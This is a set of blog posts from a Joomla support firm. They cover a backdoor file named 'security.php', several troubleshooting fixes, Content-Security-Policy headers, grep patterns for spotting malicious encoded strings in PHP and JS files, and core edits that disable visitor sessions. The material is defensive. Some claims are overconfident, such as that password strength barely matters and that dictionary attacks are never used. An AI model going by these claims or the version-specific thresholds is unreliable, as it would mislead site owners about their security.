This has caused a huge issue in the Joomla community, with many people complaining that they can’t find their new articles in Joomla 3.6.+ (or that they can’t add new articles in Joomla 3.6.+), while in reality, their articles were there, but they’re just ordered last. Unfortunately, that someone who broke the ordering functionality refused to admit that it was a mistake – claiming that (and we’re quoting his exact words) “it is wrong to use the field ordering to get content sorted by a date”. Which brings us to the next question:

Why do we refuse to call that “someone” a programmer?

Well, he is not a programmer for the following reasons:

  • He failed to understand that the code to shift all the articles when a new article was inserted was there for a reason. He happily erased many lines of codes and just added a few lines without even analyzing the original code. Any programmer should thoroughly examine the code he’s replacing before doing anything.
  • He didn’t test his code on a real large website. How did we know that? Because if he tested his code on a real large website he must have noticed the issue. But he didn’t (notice this issue), and so we are assuming good faith here that he didn’t test his super enhancement. The irony in this whole thing is that his code was meant for large websites. Small websites don’t suffer from any performance issues because of the shifting process.

  • Even after seeing the reports that his new enhancement broke many Joomla websites out there, he stuck to his code change claiming that all these Joomla administrators were using the wrong ordering, which is, in fact, a wrong statement for 2 reasons: 1) there is no such thing as wrong ordering in Joomla (those administrators were just using an existing sorting option in the backend), and 2) even if that’s the case, he shouldn’t develop something that breaks websites. In fact, he only yielded when some heavyweight contributors in the Joomla core were involved in this issue, while still claiming that reverting back was the wrong thing to do.

  • He wasn’t quick in cleaning up his own mess. A programmer, a real programmer will immediately revert his changes if they negatively affect the product. The Joomla community has to wait until Joomla 3.6.3 in order to see this issue fixed (though, in all fairness, we cannot blame this delay totally on him).

The reason why we have strong feelings about this is that the actions of this “someone” caused many people using Joomla to lose some of their trust in the product. His actions were immature at best, and destructive at worst. There are people who are born to be developers, and there are people who are born to be core developers, and this person is in neither group.

In our opinion, he shouldn’t have been allowed to touch the Joomla core, and this brings us to a few existential Joomla questions: Who authorizes work on the core? Who authorizes who should work on the core? And who approves core changes? If that kind of extremely weak code was let through, then this means that the answers to these 3 questions must be all revised.

We are always trying to make Joomla better, hence the rant. If you are reading this and you are a core Joomla developer, then please understand our true motives – we are not against you, we are against bad code especially in the core. We respect the work of all of those who are involved in Joomla, and who are considered, by programming standards, to be programmers.

Now, we turn to you, our dear readers. If by any chance you are reading this post because you updated to Joomla 3.6.+ and you can’t see your new articles, then fear not, we are here to help! Just contact us and we’ll fix the problem for you in no time and for a very affordable fee. We will also make sure that our fix is update proof!

The Malicious “security.php” File on Joomla Websites

We are currently getting swamped with hacked Joomla websites with a malicious security.php file in their root directory (e.g. at the same level of the index.php file). The name of that file is extremely misleading because it implies security, while, in reality, it is the complete opposite. In fact, Joomla websites should not contain a file carrying this name anywhere (not in the root directory, not even in any subdirectory).

Ever since August 20th, 2016 (it was when we saw the first occurrence of the security.php file), we are seeing more and more of these malicious files on Joomla websites.

So, how is this file uploaded onto the Joomla website?

In most cases, the file was uploaded using an exploit on the Joomla website, and that exploit is typically a vulnerable extension. We know that because the absolute majority of Joomla websites infected with that file are running the latest Joomla version (3.6.2 at the time of writing this article), which is known to be secure. In some cases, the file gets uploaded because of a vulnerability on the LAMP server, but again, the absolute majority of the time the culprit is an outdated extension.

So, what does this file do?

The security.php file is a main backdoor file, that is used to control the Joomla website (even when all the other exploits [vulnerable extensions, outdated Joomla website, vulnerable server] are closed) by allowing the attacker to execute remote commands comfortably. The fact that it has this trustworthy name lets it go unnoticed by many Joomla administrators, who are misled into thinking that this file is actually about security, and deleting it might compromise the security of their websites. In fact, we had several people emailing us about this file as they have never seen it before (almost all of them were convinced that it was part of Joomla 3.6.2 security).

So, what can someone do to protect his Joomla website from that file?

The best way to protect a Joomla website from the malicious security.php is to prevent the upload in the first place by closing all the possible exploits, which consists of: updating the Joomla website to the latest secure version, removing unnecessary and vulnerable extensions, updating all the extensions, and ensuring that the environment is secure (e.g. Linux, Apache, MySQL, and PHP do not have any vulnerabilities).

There is also a fallback protection method, which consists of only allowing the index.php to be access from the outside world as described here.

If you ever see a security.php under the root directory of your Joomla website (or anywhere on your Joomla website, for that matter), then you should resign to the fact that your website is hacked and you should proceed accordingly (you should clean it up and secure it). If you need help with unhacking and securing your Joomla website, then look no further: we are the Joomla security experts! Just contact us and we’ll ensure that your website has stellar security in no time and for very little money!

“Ajax Loading Error: Category not found” Error when Updating a Joomla Website

A new client, with a Joomla 3.6.0 website, called us yesterday evening and told us that every time he tries to update his Joomla website, he sees the following the following error:

Ajax Loading Error: Category not found

So, we went to his website, and tried to update Joomla, but, as expected, we saw the above error, in a JavaScript popup. Hmmm! Debugging these JavaScript problems is typically not easy, we thought… But we promised the client that we will find a solution for him!

So, the first thing that was on our mind was cache: we disabled all types of cache on the website (global cache and system cache), and then we cleared the cache (Joomla cache and browser cache), and then we tried to update the website again, but we still saw the above error.

We searched for the error in the Joomla code base, in hope of finding the exact location of the problem, but we couldn’t find anything. To be honest, it’s not that we didn’t find anything, we did find something, but what we found wasn’t really helpful in getting to the root of the problem. So we decided to stop beating around the bushes, and instead, we took an approach that was completely against our programming habits: debugging Ajax code (nobody likes to debug Ajax code).

So we opened the JavaScript file containing the Ajax code responsible for throwing that error, which is the update.js file (which is located under the media/com_joomlaupdate/js folder) and we checked its code. After a thorough examination, we knew that for us to know what is really going on, we needed to find which PHP file is processing the Ajax request. And so we changed the following line in the update.js file:

var message = 'AJAX Loading Error: ' + req.statusText;

to this line:

var message = 'AJAX Loading Error: ' + req.statusText + ' update URL is: ' +  joomlaupdate_ajax_url;

We then cleared our browser cache (again), and tried to update the website, and this time, the JavaScript alert window displayed the URL that the Ajax request was being sent to. It was this one: http://www.[ourclientjoomlawebsite].com/administrator/components/com_joomlaupdate/restore.php

So, we visited the URL directly, and it had the following error:

404 – Category not found

That was odd, because the file restore.php existed. So we added the following code to the very beginning of the restore.php file (just after the opening tags):

die('In restore.php file');

We then visited the above URL again, but we were surprised to see the same error again. This meant 2 things: either there is an .htaccess rule whitelisting specific PHP files, or the file permissions/ownership were wrong. So we first checked the .htaccess file and we noticed that it had the following code in its very beginning (probably copied from here):

<Files *.php>
	Deny from all
</Files>
<Files index.php>
	Allow from all
</Files>

The above code secures the Joomla website by allowing direct access to the just one file, which is the index.php file. On the flip side, it doesn’t allow direct access to the restore.php file, which is a legitimate file used for the update.

So, we updated the above code to the following to allow access to the restore.php file…

<Files *.php>
	Deny from all
</Files>
<Files index.php>
	Allow from all
</Files>
<Files restore.php>
	Allow from all
</Files>

… and then we visited the website, but still, we saw the same error. So we quickly checked the permissions/ownership on that file and we noticed that both the permissions and the ownership were incorrect: the permissions were set to 600 (note that we didn’t notice this when editing the file because we edited the file while ssh’ing as root), and the ownership was set to root. We suspect that that file was infected previously and so whoever did the cleanup decided to just make the file completely inaccessible (with the exception for the root user) after the cleanup process. So we changed the file permissions to 444 and we changed the ownership and the group ownership to the cPanel user of the website. We then visited the file, and this time, we saw the message that we added in the restore.php file. We then removed the die statement that we have added, and we tried updating the website, and, as expected, it worked smoothly! Hurray! Lush homes all around! (In case you’re wondering, that Lush homes thing is from the game Tales of Monkey Island).

So, if you, our dear reader, are seeing the Ajax Loading Error: Category not found popup when trying to update your website, then fear not: check if your .htaccess file is allowing access to only specific files and also check the ownership/permissions on the restore.php file. If everything checks and you are still having the problem, then it’s time to contact the Joomla experts! We are there for you 24/7/365, we know our Joomla, and our fees are super affordable!

Blank Page When Clicking on “Read Messages” in Joomla’s Backend

A client contacted us on Friday of last week and told us that he had the following weird problem: every time he clicked on Read Messages (which is located in the You have post-installation messages box) in the backend of his Joomla website, he saw a blank page.

A blank page in Joomla, as you may already know, is a definitive sign of a PHP fatal error somewhere… So, in order to see the error, we set the Error Reporting value to Maximum in the configuration settings, and then we clicked again on the Read Messages link, and we saw the following error:

Fatal error: Class ‘FOFRenderDirs24’ not found in libraries/fof/view/view.php on line 966

Hmmm! What is that FOFRenderDirs24 class? Something smelled very fishy as we have never heard of that class before…

In any case, we checked the line 966 of the view.php file (which is located under the libraries/fof/view folder), and its job was to instantiate an object from a PHP class which name is based on appending the word FOFRender with the name of each and every file name in the libraries/fof/render folder. For example, if the libraries/fof/render folder had two files, one is called first.php, and the other is called second.php, then line 966 would instantiate two objects, one from class FOFRenderOne and the second from class FOFRenderSecond, which means that the first file must define a class called FOFRenderOne, and the second file must define a class called FOFRenderSecond (yes, we know, it’s starting to get confusing a bit – just don’t ask to repeat this paragraph).

Now, the fact that line 966 was failing when instantiating an object from class FOFRenderDirs24 meant only one thing: that there is a file called dirs24.php in the libraries/fof/render and that that file doesn’t define a class called FOFRenderDirs24. So, we checked the libraries/fof/render, and we noticed that we had six files in there, instead of 5 on a standard Joomla 3.6.2 website, and one of them was a zero byte file called dirs24.php. As you might have probably guessed, the dirs24.php was the intruder file, and so deleting that file fixed the problem.

But where did that file come from?

As we have mentioned earlier, the website was previously hacked and freshly cleaned. The cleanup work was done by an automated tool, which emptied files with purely malicious content. The thing is, with Joomla, emptying files (instead of deleting them) is a bad strategy, as the Joomla engine, in certain directories, automatically tries to define classes (and instantiate objects based on those classes) based on the filenames in those directories.

So, if your Joomla website is showing a blank page or a fatal error when you click on that Read Messages button, then you should check the libraries/fof/render for any intruder. If there isn’t any, then the problem might lie elsewhere, and you may need some Joomla experts for help. So go ahead, contact us, we will solve the problem for you, and we won’t charge you an arm and a leg (or even a toe) for it!

Checkboxes Not Showing in the Backend of a Joomla 1.5 Website

Very early in the morning today, a new client sent us the following email:

“Hi,

We have a Joomla 1.5 website that has been working well for a long time. Yesterday, our host decided to upgrade PHP, which resulted in the following problem on our website: checkboxes are no longer visible anywhere in the backend of our Joomla website. We used these checkboxes to select articles (in the Article Manager) for deletion – but now we can’t delete articles this way anymore.

Is there a fix that does not involve reverting to an earlier version of PHP?”

When we read the email, we quickly remembered our post on the hidden menu manager issue in Joomla 1.5, which is also caused by a PHP upgrade.

So, naturally, the first thing that we did was that we enabled error reporting on the Joomla 1.5 website, and then we went to the Content -> Article Manager page where we were greeted with the following 2 errors (repeated about 20 times):

Warning: Parameter 1 to JHTMLGrid::access() expected to be a reference, value given in libraries/joomla/html/html.php on line 87
Warning: Parameter 1 to JHTMLGrid::checkedOut() expected to be a reference, value given in libraries/joomla/html/html.php on line 87

Aha! So the root cause of the problem was very similar to the root cause of the “hidden menu items issue”: it was an expected reference but value given issue. So fixing the problem was actually very easy; all we did was the following:

  • We opened the file grid.php which is located under the libraries/joomla/html/html folder.
  • We changed the following line:

    function checkedOut( &$row, $i, $identifier = 'id' )

    to:

    function checkedOut($row, $i, $identifier = 'id' )

  • We also changed this line:

    function access( &$row, $i, $archived = NULL )

    to this one:

    function access($row, $i, $archived = NULL )

    Notice the missing ampersand (&) from the second, correct line.

  • We saved the file and then refreshed the Article Manager page, and this time, all the checkboxes displayed and worked properly, and all it took was the removal of an ampersand (well, two ampersands, but you get the point)!

But isn’t that a core change?

Yes – the solution presented in this post is a core change, but it’s Joomla 1.5, which will never ever get an official update, so who cares? In fact, we think that modifying Joomla 1.5’s core is a must for those seeking security and stability but cannot afford to migrate to the newest version of Joomla.

If you have the same problem on your Joomla 1.5 website, then try our solution above, it should work for you! If it doesn’t, then please contact us. We will help you fix the problem quickly, cleanly, and affordably!

Alternative Layout Not Working for Your Custom Joomla Module? Read This!

While working on making a very large website responsive over the past few days, we were faced by a small blip. A small, but interesting (and annoying) blip… We wanted to show a different layout for a custom made module (we’re not talking here about Joomla’s Custom HTML module [which is now called just the Custom module]; we’re talking about a module that was specifically created for that website), and so we just created the appropriate folder under the html folder of the template being used, and then we copied the layout file of that module (default.php) to the folder that we have just created. After doing so, we did the modifications that we needed to do on the copied file (we called it mobile.php), and then we went to the Joomla backend and tried to select the new layout that we have created from the module’s settings. But, the field for selecting a layout was just not there.

No problem, we thought, as we knew the exact cause of this issue: the Alternative Layout field did not exist in the XML manifest file of the custom module. So we opened the XML manifest file of a standard Joomla module, and we copied this line…

<field
	name="layout"
	type="modulelayout"
	label="JFIELD_ALT_LAYOUT_LABEL"
	description="JFIELD_ALT_MODULE_LAYOUT_DESC" />

…to the manifest file of the custom module (just before the closing fields tag). After doing this, we went back to the module, and confidently chose mobile, and then we went to the website, and checked to see whether our changes to the layout of the module have taken effects, but they didn’t. Easily fixed, we thought… We went back to the backend and cleared the Joomla cache, but still, the website still showed the default layout for that module.

We went back to the module, and we tripled checked that it was that module being loaded, and that the layout change was saved, and everything checked. Naturally, clearing the cache a few dozens time more didn’t fix the problem – it just wasn’t a cache problem!

We finally decided to check the module’s main PHP file, which is module_name.php under the module’s folder, and its last line (responsible for calling the file that does the actual display) consisted of the following:

require(JModuleHelper::getLayoutPath('mod_modulename'));

But, in order for the module, any module, to benefit from the Joomla alternative layout functionality, it must have this line at the end (instead of the one above):

require JModuleHelper::getLayoutPath('mod_modulename', $params->get('layout', 'default'));

So we switched the last line of the custom module with the line above, and this time, the layout override worked! It worked! It was a great relief mixed with some irritation, because we knew that the root cause of this problem was a bad Joomla developer. In any case, we were exalted because the problem was solved.

So, if your alternate layout is not displaying on your Joomla website, make sure that your module supports alternative layouts both in its XML manifest file and in its main PHP file. If it doesn’t, then you can resolve this by following the tips in this post. If you need help with the implementation, then please contact us. We will help you address this in no time and for a very affordable fee!

A Very Long Password in Joomla Does Not Mean Better Security

A new client of ours called us very early in the morning and told us that his website was hacked and he wanted our help to clean it. He told us over the phone that he had no idea how he got hacked despite the fact that he had a very long and complex password for his super user login. He then sent us the password… It was literally 60 characters long with every almost every single allowed character in it. It was the first time we saw something like this. The longest we’ve seen so far was around 32 characters, but 60 characters? So we told the client (he was still talking to us over the phone) that having a very long and very complex password will not make his website unhackable – in fact, it has nothing to do with website protection. The best that such a password can do is protect the website against dictionary attacks, which is a malicious method to login to a website using dictionary words (note: dictionary attacks are never used by serious attackers because they are inefficient).

As expected, he asked us: “Then how did they get in into my Joomla website?” So we pointed him to our famous “10 Reasons Why Your Joomla Website Got Hacked” article, while at the same time explaining to him that they got in most likely by exploiting a vulnerable extension on his website (his website was using the most recent Joomla version, but many of its extensions were outdated).

So, is having a very long Joomla super user password a bad thing?

It’s not a bad thing, but it’s not a good thing either. We have been supporting Joomla for a decade now, and this is how much we’ve seen a Joomla website got hacked because of a simple password: 1 – yes, one time, just one, and it turned out that the person who hacked that particular website was a previous disgruntled company employee.

An attack on a Joomla website is done nearly all the times by exploiting a server vulnerability, or an application vulnerability, or a combination of both. It’s almost never done by using tools that just “guess” what the password is.

If your Joomla website got hacked and you cleaned it up, then using a very long password for your super user will not protect it and will not make it harder for malicious users to compromise your website. If you need real protection on your Joomla website, then follow our Joomla security tips. If you need super advanced (enterprise level) protection for your Joomla website, then please contact us. Our fees are right, our security expertise in Joomla is undisputed, and we always welcome new clients (and new friends)!

White Screen when Trying to Edit a Joomla Article: How to Fix

It’s Friday – time for everyone to relax a bit and plan for the weekend! Everyone, of course, except for us! We work 24/7/365! In fact, last Sunday, a client emailed us and told us that they have a problem when editing articles in Joomla’s backend: whenever they click on an article to edit it, they see a blank page.

Now a blank page is a sign of a fatal error somewhere, so naturally, we had to enable error reporting on the Joomla website. So we logged in to backend (of the website), and then we went to System -> Global Configuration, and then we clicked on the Server tab, and we changed Error Reporting to Maximum. We then tried to edit an article to see what the error was, and we saw this:

Fatal error: Call to undefined method WFBrowserHelper::getMediaFieldLink() in /plugins/system/jce/jce.php on line 37

Hmmm! It turned out to be an error with JCE, which is, by far, the best Joomla editor out there, but which is also extremely complex. The client was running the latest version of Joomla (3.6.2), and so we thought that it wouldn’t be a bad idea to uninstall JCE and then re-install it. And so we did, and then we tried to edit an article again (after clearing the Joomla cache and the browser cache, just in case), and this time it worked! It really worked! The client was happy that we solved the problem quickly and we were happy that it turned out to be a very easy fix!

But what caused this problem?

We don’t know – we think it might have been a compatibility issue between the JCE version that the client had and the latest version of Joomla, but we’re not really sure. The client didn’t mention when the problem started happening and we didn’t ask (now we’re kinda regretting this).

So, if you’re seeing a white screen when you’re trying to edit a Joomla article (or if you’re seeing the error above), then try uninstalling JCE and then reinstalling its latest version onto the website and see if that fixes the problem. If you don’t have JCE, then try updating the editor that you’re using. If you’re using a core Joomla editor (such as TinyMCE or CodeMirror), then it might be that the problem is caused by a 3rd party plugin that you have just installed – try disabling your plugins ones by one (starting with the one that has the highest ID) until you find the culprit. If you can’t find the culprit, then you can always contact us. We’ll fix the problem for you in as little time as possible and for a very reasonable price!

“You are not permitted to use that link to directly access that page” Error when Trying to Edit a Joomla Article

An important client of ours emailed us yesterday and told us that they were having the following problem: whenever they edit an article, save it (or close it), and then try to re-open it, they are redirected back to the Articles Manager page (instead of being redirected to the edit page of the article). They told us that the issue was only happening on Google Chrome.

So we tested the website, and we were able to replicate the issue (only on Chrome), with one difference: the first time we tried to re-open any article, the Joomla CMS was throwing the following error:

You are not permitted to use that link to directly access that page (#[article-id])

We know, from experience, that that error is caused by session issues, so we checked everything that had to do with the session in the code…

First, we checked the file controller.php (which is located under the administrator/components/com_content/ folder) where the following code was responsible for throwing the “You are not permitted…” error:

if ($view == 'article' && $layout == 'edit' && !$this->checkEditId('com_content.edit.article', $id))
{
	// Somehow the person just went to the form - we don't allow that.
	$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
	$this->setMessage($this->getError(), 'error');
	$this->setRedirect(JRoute::_('index.php?option=com_content&view=articles', false));

	return false;
}

After doing some quick debugging, we discovered that the problem with the above code was that the function checkEdit was returning false, for some unknown reason.

So we checked the function checkEdit which is located in the file legacy.php (which, in turn, is located in the folder libraries/legacy/controller), and we noticed that the following line...

$values = (array) $app->getUserState($context . '.id');

...was returning an empty array when it shouldn't. But why? And why is it the first time we try to edit the article it works, and the second time it doesn't?

And so we delved deeper and deeper and deeper into the session code while the wrinkles on our faces were multiplying by the minute (if you're a Joomla developer, you know that everything that has to do with sessions is a headache).

We then thought, we have an old copy of the same exact website residing on a development server. So we tested the old (development) website with a copy of the new database (e.g. we copied the database from the production website to the development website), and we didn't have the problem.

So it wasn't a database corruption causing this mess; it was a filesystem issue. We then compared all the changes in the PHP and the JavaScript files between the old website and the new website and we found no differences, except that the .htaccess file was present on the new website, but not on the old website which resides on the development sever.

So, in a moment of desperation, we copied the .htaccess from the production website to the development website, hoping that this will create the same issue on the development website, and it did! So the problem was with the .htaccess file.

Naturally, we started removing non-core lines from the .htaccess file one by one and then testing the website after removing each line, until we finally found the culprit, it was this line:

ExpiresDefault "now plus 1 hour"

The above line was instructing the browser to cache everything for one hour, including the actual PHP files, which was causing the session problems that we were seeing. What was weird is that it was only affecting Chrome.

So, how did we fix the problem?

Fixing the problem consisted of telling the browser not to cache PHP/HTML files, so, we added the following line to the .htaccess file (immediately after the aforementioned line):

ExpiresByType text/html "now"

(In case you're wondering, the above line instructs the browser to expire any PHP/HTML content immediately - in other words, the browser is instructed to always get that content from the server.)

We then tried opening an article, and then closing it, and then re-opening it, and it did re-open without redirecting back to the Article Manager page. Hooray! The problem was solved!

But why was the problem only occurring on Google Chrome?

We have no idea - and we didn't have the time to investigate why. It might be that either Chrome is very strict in listening to what the server tells it to do, or it might be that other browsers just don't listen that well (to the server), or it might be something else completely different. We don't know for sure.

If you're seeing the "You are not permitted to use that link to directly access that page", then check your .htaccess file, and make sure that you are not using any type of caching there. If you are, then we suggest you add the above line to your .htaccess file, it should work! If it doesn't, then please contact us. Our work is super quick, our fees are super competitive, and we know our Joomla!

How Content-Security-Policy Can Help Protect Your Joomla Website

Have you ever heard of Content-Security-Policy? If not, then we’re sure that you will find this post extremely informative and interesting…

In short, Content-Security-Policy is a policy set in the httpd.conf file, the .htaccess file, or as a meta tag (in the HTML code) that is typically used to prevent the website from running external scripts. In other words, it is excellent for XSS protection.

Let us explain a bit more…

You see, when someone visits a normal Joomla website, that has no Content-Security-Policy set, the browser loads all the images and scripts that are on the visited page, no questions asked. That’s what everyone wants right? Well, not really.

What every website administrator wants is to have the browser load all the images and the scripts from legitimate, approved sources, and not from just any source. What if, for example, the Joomla website that you are running has an XSS vulnerability (through a 3rd party extension) and was exploited by an attacker to request a hacked JavaScript file from a malicious source? If all the scripts are allowed to be executed, then an innocent end user will end up being redirected to a very bad website while potentially getting his PC infected with malware in the process. Of course, one could argue that the originating website is technically clean (e.g. the filesystem is clean), since all the malicious code is elsewhere, but that argument will not hold, simply because the end user only ended up on the bad website and with a virus on his computer because of the XSS exploited Joomla website. Additionally, not a single (respectable) online scanning tool and not a single search engine will think that it’s not the originating website’s fault.

This is where Content-Security-Policy comes to the rescue. When you have a policy for only allowing specific content from specific, trusted sources on your website, then you have come a long way in protecting and securing your website.

For example, adding the following line to your .htaccess file ensures that the only JavaScript and CSS files that are allowed to be downloaded from your website are those that actually exist on your website:

Header set Content-Security-Policy "default-src 'self'"

(Note: The location of the above line can be anywhere in the .htaccess file, but we like to add these things in the very beginning.)

Note that the above will not even allow inline scripts. For example, if you have some inline JavaScript code in your HTML, then that HTML code will be blocked, and you will see the following in Google Chrome‘s console:

Refused to execute inline script because it violates the following Content Security Policy directive: “default-src ‘self'”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-FU2Yz9Y7Q/i92m6ZTOAqpzhUeVAiTp1am3CtdegsQXs=’), or a nonce (‘nonce-…’) is required to enable inline execution. Note also that ‘script-src’ was not explicitly set, so ‘default-src’ is used as a fallback.

It will also will not allow inline CSS styles, and you will see the following message in Chrome‘s console if you have an inline CSS style:

Refused to apply inline style because it violates the following Content Security Policy directive: “default-src ‘self'”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-HhdiwPT6NvHjIA9I6BIJ1crwfwF/RLkZ6B/Ne8+ViGY=’), or a nonce (‘nonce-…’) is required to enable inline execution. Note also that ‘style-src’ was not explicitly set, so ‘default-src’ is used as a fallback.

Now we understand that the absolute majority of websites (including Google, Facebook, and Twitter) have inline CSS and inline JavaScript, so why is it blocked by default when Content-Security-Policy is enabled? Well, because it is unsafe. See, those large websites (Google et al) have many layers of protection and are not really worried of XSS attacks. But smaller, less secure websites which are managed by people who don’t know much about security and who use extensions written by complete strangers (who may or may not care about security) should worry about XSS, and should ensure that no scripts and styles exist in the HTML code.

But what about those websites that are sure of their security and that need to run inline scripts?

Well, if you’re sure about your website’s security and protection and you need to run inline scripts and inline styles, then change the above line to the following:

Header set Content-Security-Policy "default-src 'self' 'unsafe-inline'"

But what if you want to use scripts/CSS from other trusted domains such as externaltrusteddomain.com and you want inline scripts (but not inline CSS), for example. Well, you switch the above line with the one below:

Header set Content-Security-Policy "default-src 'self'; script-src 'self' http://*.externaltrusteddomain.com https://*.externaltrusteddomain.com 'unsafe-inline'"

What if you want to enforce the Content-Security-Policy server wide?

If you really want to do that, then all you need is to place the .htaccess line of your choice above in a VirtualHost tag of your httpd.conf file.

How can Content-Security-Policy be defined in a meta tag?

If you don’t have access to the .htaccess file, you can just modify the main index.php of your Joomla template and add the following meta tag (just after the opening head tag) to simulate the security policy of our last example above:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' http://*.externaltrusteddomain.com https://*.externaltrusteddomain.com 'unsafe-inline'">

Which method is best for defining Content-Security-Policy?

We recommend you use the .htaccess file to store the content security policies, simply because it’s easy, it’s versatile, it’s clear, it’s part of the website (unlike the httpd.conf file which is part of the server, which means that migrating to a different server will cause you to lose these policies), and it is independent of the template (the meta tag option is template dependent, unless you use an extension to add it).

Is it a good idea to implement Content-Security-Policy directly on a production website?

Not really – Content-Security-Policy is a two edged sword. It will protect your website, but if you make a mistake in the rule, then your website will not function properly. And, because of its very confusing nature, it is very easy to make a mistake when writing such a rule (you may miss an external library, or an internal script, or an external font, etc…).

What we do is that we use the Content-Security-Policy-Report-Only directive instead of using Content-Security-Policy for testing prior to rule enforcement. The Content-Security-Policy-Report-Only is a directive that tells the system to silently send anything that doesn’t match the security policy to the URL of your choice as json encoded data in the body of the headers. The website will not be affected whatsoever when using this directive – with the exception that the browser’s console will display all policy violations.

For example, if you want to log everything that violates our last policy above, then you can add this line to your .htaccess file:

Header set Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' http://*.externaltrusteddomain.com https://*.externaltrusteddomain.com 'unsafe-inline'; report-uri http://www.[yourjoomlawebsite].com/parse-content-security-policy-report.php" 

Note that the only thing that we did was that we switched Content-Security-Policy with Content-Security-Policy-Report-Only and we added the URL that all policy violations should be sent to.

The parse-content-security-policy-report.php PHP file has one objective: to store the received data in the content-security-policy-report.json file. It should consist of the following PHP code:

$contentSecurityPolicyReportJSon = file_get_contents('php://input');
file_put_contents ('/home/[cpanel-user]/public_html/content-security-policy-report.json', $contentSecurityPolicyReportJSon, FILE_APPEND);

The saved json file can then be parsed using the json_decode PHP function. Keep in mind, that on high traffic websites, the json file can become very large very quickly. So, you should enable and disable this feature very quickly.

We hope that you found this post useful for protecting your Joomla website against XSS attacks. If you need help with the implementation, then you can always contact us. We’re always eager to help, we love our customers, and our fees are super duper affordable!

A Couple of Shell Commands to Find Hacked PHP Files on a Joomla Website

Note: This post assumes your website is running on a WHM environment. If your website is running on Plesk than the physical location of your Joomla website will be different.

Another note: This post assumes you have some very basic Linux knowledge. If that’s not the case then you can ask some Joomla security experts (such as, ahem, us) to help you.

Psst! Psst Psst! Psst Psst Psst! We have to tell you a secret – a secret that we have kept for ourselves for a long time for not-so-mysterious reasons! A secret that took us years to discover. A secret that we hope, once revealed, will make Joomla websites safer. Interested? We thought so…

What is that secret, we hear you ask? Well, the secret is that not a single alphanumeric string in Joomla’s core PHP files is larger than 62 characters, and not a single alphanumeric string with pluses and forward slashes is longer than 137 characters. OK – are you done laughing now? Let us explain…

You see, a huge sign of a malicious file is a long continuous string – which means that if we search for long continuous strings in the PHP files of a hacked Joomla website, then we will be able to find most (if not all) of the malicious/hacked files on that Joomla website.

Now the question is, how to find those files? Well, that’s easy, if you want to find all the PHP files containing alphanumeric strings that are more than 62 characters, then you will need to do the following:

  • Login to your Joomla website and clear your Joomla cache.
  • ssh to the server hosting your Joomla website.

  • cd to the directory where your Joomla website resides:

    cd /home/[cpanel-user]/public_html/

  • Run the following command to get the list of all the files containing strings that are longer than 62 alphanumeric characters:

    grep -r --include=*.php -e '[[:alnum:]]\{63,\}'

Now to find all the PHP files that contain alphanumeric characters including forward slashes and plus signs that are longer than 136 characters you just need to run the following command:

grep -r --include=*.php -e '[[:alnum:]\/\+]\{137,\}'

The above 2 commands are excellent for finding malicious/hacked files, and we use them when we are cleaning up a hacked Joomla website in order to weed out those files.

Will these commands really work?

Yes – and we use them every day to find those nasty malicious/hacked files on Joomla websites. The nice thing about these commands is that they are fast and they have a very high accuracy.

What about false positives? Will there be any?

If you have 3rd party Joomla extensions installed, then you may see some false positives, but they are easy to identify. For example, we know that Admin Tools and RSForm Pro will both yield false positives. There are other extensions of course that may have this issue – so you must carefully check each file returned by the above search before taking action (deleting it/cleaning it).

What about JavaScript files?

We’re glad you asked. You can use the same method for JavaScript files, except that the numbers are different: for core JavaScript files, the maximum size of an alphanumeric string is 149 characters, and that of an alphanumeric string with pluses and forward slashes is 480. Which means that we will need to run the below commands to get those potentially malicious JavaScript files:

grep -r --include=*.js -e '[[:alnum:]]\{150,\}'

and

grep -r --include=*.js -e '[[:alnum:]\/\+]\{481,\}'

Now the problem with JavaScript is that the maximums are quite high, so it’s possible to miss some malicious files because of that (maximums are inversely proportional to the accuracy). What we do is mainly use about half the numbers above (e.g. 75 and 240 instead of 150 and 481, respectively), and we ignore the core false positives.

What if the output of these commands is really large?

In the case of an overly hacked Joomla website (or one with many extensions installed), the above commands may return a lot of files, and that will most likely fill the scrollback buffer. To address this issue, you will need to pipe the results to a file (e.g. direct the generated output to a file instead of the screen). You can do this by adding a greater sign after the command followed by the name of the file. For example, the first command will be:

grep -r --include=*.php -e  '[[:alnum:]]\{63,\}' > potentially-malicious-php-files.php

That’s all for today! If you have some doubts on whether these commands will work for you – then try them, you won’t be disappointed. If you still think that there are some malicious files on your server, then please contact us. We are experts in Joomla security, our fees are super affordable, and we will clean and secure your website!

How to Completely Disable Session Activity for Visitors on Joomla Websites

Note: This post contains core modifications. If you’re not comfortable with doing core modifications, then please ask some Joomla experts to do it for you.

Another note: This post assumes that your website doesn’t allow users to login to the frontend – if that’s not the case then please be aware that the modifications below must be modified (What? The modifications need to be modified? What kind of English is this?) to accommodate your needs. If you think this is a bit over your head, then we suggest you contact us!

Joomla has the nasty habit of creating and maintaining a session in Joomla for every visitor, which is an unnecessary overhead that causes performance issues on high traffic websites.

Luckily, at itoctopus, we have a solution for everything Joomla: in a previous post, we have discussed how to minimize write activities to on the #__session table, in this post, we will explain how to completely disable write activity for visitors on the Joomla website.

So, how can you completely, fully, unequivocally (can this word be used in this context?) disable all activities on the #__session table for visitors on a Joomla website?

Well, you can do that by following the below guide:

  • Open the file cms.php which is located under the libraries/cms/application/ folder.
  • At the very beginning of the checkSession function, add the following code:

    if (stripos($_SERVER['PHP_SELF'], '/administrator/') !== 0)
    return;

    The above will disable initial creation of the session for all pages with the exception of administration pages (including the login page for administrators).

  • Open the file database.php which is located under the libraries/joomla/session/storage/ folder, and add the following code at the very beginning of the read, the write, the destroy, and the gc functions:

    if (stripos($_SERVER['PHP_SELF'], '/administrator/') !== 0)
            return;

  • That’s it!

After adding the above code, your Joomla website will no longer do any session activity for your visitors; it will not insert, update, retrieve, or delete anything from the #__session when someone is visiting your website. This will lessen the load on your server (the load reduction will be noticeable on high traffic websites) and will reduce the impact of DoS attacks.

We know that some of you might be intimidated by the thought of updating core files, so, if you need help with that, please contact us. Our rates are super affordable, our work is super clean, and we are super friendly!

The Hidden Downside of Embedding Joomla Modules in Articles

One of the really nice features that Joomla has is loading modules within articles using loadmodule or loadposition (or using an 3rd party extension such as Modules Anywhere). It is an excellent functionality that permits Joomla administrators to leverage the power of modules within articles (or even within modules if using Modules Anywhere).

